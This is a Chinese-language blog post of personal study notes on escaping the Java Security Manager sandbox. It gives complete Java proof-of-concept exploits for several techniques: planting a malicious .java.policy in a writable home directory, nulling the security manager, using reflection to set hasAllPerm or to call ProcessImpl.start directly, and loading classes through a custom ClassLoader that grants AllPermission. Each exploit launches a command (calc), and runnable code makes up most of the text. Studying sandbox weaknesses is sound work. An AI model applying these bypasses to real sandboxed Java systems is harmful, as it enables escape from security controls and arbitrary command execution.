暂时没想好分到哪个分类,先放着
java沙箱绕过浅析Java沙箱逃逸
只是记个笔记,详情参考上面链接

单等号+home目录可写导致Java Security Manager绕过

写个简单执行命令的文件

  1. package com.yq1ng.bypassSM;
  2. import java.io.IOException;
  3. /**
  4. * userHomeVul
  5. *
  6. * @author yq1ng
  7. * @date 2022/2/22 22:19
  8. * @since 1.0.0
  9. */
  10. public class userHomeVul {
  11. public static void main(String[] args) throws IOException {
  12. exec("calc");
  13. }
  14. private static void exec(String cmd) throws IOException {
  15. Runtime.getRuntime().exec(cmd);
  16. }
  17. }

vm启动配置加上-Djava.security.manager使用默认策略文件,也可以自定义策略文件,vm参数为-Djava.security.manager -Djava.security.policy=java.policy
image.png
image.png
运行发现只有read权限。默认策略文件在${java.home}/lib/security/java.policy,看一下
image.png
默认是两个policy文件,且user.home下默认没有.java.policy,如果指定策略文件时使用的单引号就如上面写的,那么 my.policy 会加在上面的两个policy文件之后。当home目录可写的时候,我们就可以写一个恶意的policy来提升权限
my.policy

grant{
    permission java.io.FilePermission "C:\\Users\\yq1ng\\*", "write";
};
package com.yq1ng.bypassSM;

import java.io.FileWriter;
import java.io.IOException;

/**
 * userHomeVul
 *
 * @author yq1ng
 * @date 2022/2/22 22:19
 * @since 1.0.0
 */
public class userHomeVul {
    public static void main(String[] args) throws IOException {
//        exec("calc");
        bypass();
        exec("calc");
    }

    private static void bypass() throws IOException {
        final String homePolicyFile = "grant {\n" +
                "    permission java.io.FilePermission \"<<ALL FILES>>\", \"execute\";\n" +
                "};";
        FileWriter writer = new FileWriter("C:\\Users\\yq1ng\\.java.policy");
        writer.write(homePolicyFile);
        writer.close();
    }

    private static void exec(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

image.png
image.png
第一次执行没有弹出计算器,因为策略还是默认配置,但是文件写进去了,然后需要在运行一次
image.png
nice~
修复方法:-Djava.security.policy==java.policy,用双等于号指定policy文件。

通过setSecurityManager绕过Java Security Manager

通过vm参数去更改感觉有点麻烦,Java也提供了代码“动态”修改sm,这里用双等于号指定my.policy文件,内容为

grant {
    permission java.lang.RuntimePermission "setSecurityManager";
};
package com.yq1ng.bypassSM;

import java.io.IOException;

/**
 * setSecurityManager
 *
 * @author yq1ng
 * @date 2022/2/22 23:58
 * @since 1.0.0
 */
public class setSecurityManager {
    public static void main(String[] args) throws IOException {
        bypass();
        exec("calc");
    }

    private static void bypass() {
        System.setSecurityManager(null);
    }

    private static void exec(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

image.png

通过反射绕过Java Security Manager

思路是跟进上面一种方法的实现,去直接反射属性来完成bypass。

getProtectionDomain0()

package com.yq1ng.bypassSM;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;

/**
 * bypassWithReflection
 *
 * @author yq1ng
 * @date 2022/2/23 0:10
 * @since 1.0.0
 */
public class bypassWithReflection {
    public static void main(String[] args) throws IOException {
        bypass();
        exec("calc");
    }

    private static void bypass() {
        StackTraceElement[] stackTraceElement = Thread.currentThread().getStackTrace();
        for (StackTraceElement traceElement : stackTraceElement) {
            try {
                Class clz = Class.forName(traceElement.getClassName());
                Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);
                getProtectionDomain.setAccessible(true);
                ProtectionDomain protectionDomain = (ProtectionDomain) getProtectionDomain.invoke(clz);

                if (protectionDomain != null) {
                    Field field = protectionDomain.getClass().getDeclaredField("hasAllPerm");
                    field.setAccessible(true);
                    field.set(protectionDomain, true);
                }
            } catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
                e.printStackTrace();
            }

        }
    }

    private static void exec(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

ProcessImpl()

看Runtime.exec()实现
image.png
image.png
这里先检查权限,然后在调用ProcessImpl.start()执行命令,所以直接反射ProcessImpl.start()即可绕过检查。
即如果一个方法使用会有“鉴权”,但是后续实现是调用其他方法,那么可以直接反射这个方法绕过权限检查。

package com.yq1ng.bypassSM;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;

/**
 * ProcessBypass
 *
 * @author yq1ng
 * @date 2022/2/23 22:31
 * @since 1.0.0
 */
public class ProcessBypass {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class clz = Class.forName("java.lang.ProcessImpl");
        Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        method.invoke(clz, new String[]{"calc"}, null, null, null, false);
    }
}

创建类加载器绕过java security manager

自定义classloader初始化所有权限绕过SM
自定义ClassLoader绕过poc为什么很多人执行出现问题的缘由

grant{
    permission java.lang.RuntimePermission "createClassLoader";
    permission java.io.FilePermission "<<ALL FILES>>", "read";
};
import java.security.AccessController;
import java.security.PrivilegedAction;

public class Exploit {
    public Exploit() {

    }

    static {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                try {
                    Process process = Runtime.getRuntime().exec("calc");
                    return null;
                } catch (Exception var2) {
                    var2.printStackTrace();
                    return null;
                }
            }
        });
    }
}
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.WritableByteChannel;
import java.security.*;
import java.security.cert.Certificate;

public class MyClassLoader extends ClassLoader {
    public MyClassLoader() {
    }

    public MyClassLoader(ClassLoader parent) {
        super(parent);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        File file = getClassFile(name);
        try {
            byte[] bytes = getClassBytes(file);
            //在这里调用defineClazz,而不是super.defineClass
            Class<?> c = defineClazz(name, bytes, 0, bytes.length);
            return c;
        } catch (Exception e) {
            e.printStackTrace();
        }

        return super.findClass(name);
    }

    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.contains("Exploit")) {
            return findClass(name);
        }
        return super.loadClass(name);
    }

    protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
        try {
            PermissionCollection pc = new Permissions();
            pc.add(new AllPermission());

            //设置ProtectionDomain
            ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
                    pc, this, null);
            return this.defineClass(name, b, off, len, pd);
        } catch (Exception e) {
            return null;
        }
    }

    private File getClassFile(String name) {
        File file = new File("./" + name + ".class");
        return file;
    }

    private byte[] getClassBytes(File file) throws Exception {
        FileInputStream fis = new FileInputStream(file);
        FileChannel fc = fis.getChannel();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        WritableByteChannel wbc = Channels.newChannel(baos);
        ByteBuffer by = ByteBuffer.allocate(1024);

        while (true) {
            int i = fc.read(by);
            if (i == 0 || i == -1) {
                break;
            }

            by.flip();
            wbc.write(by);
            by.clear();
        }
        fis.close();
        return baos.toByteArray();
    }
}
public class BypassSandbox {
    public static void main(String[] args) throws Exception {
        MyClassLoader mcl = new MyClassLoader();
        Class<?> c1 = Class.forName("Exploit", true, mcl);
        Object obj = c1.newInstance();
        System.out.println(obj.getClass().getClassLoader());
   }
}

本地方法调用绕过Java Security Manager

Java Security Manager是在java核心库中的一个功能,而java中native方法是由jvm执行的,不受java security manager管控。因此,我们可以调用java native方法,绕过java security manager。
java native这玩意是介于Java与c的,所以管不住也是正常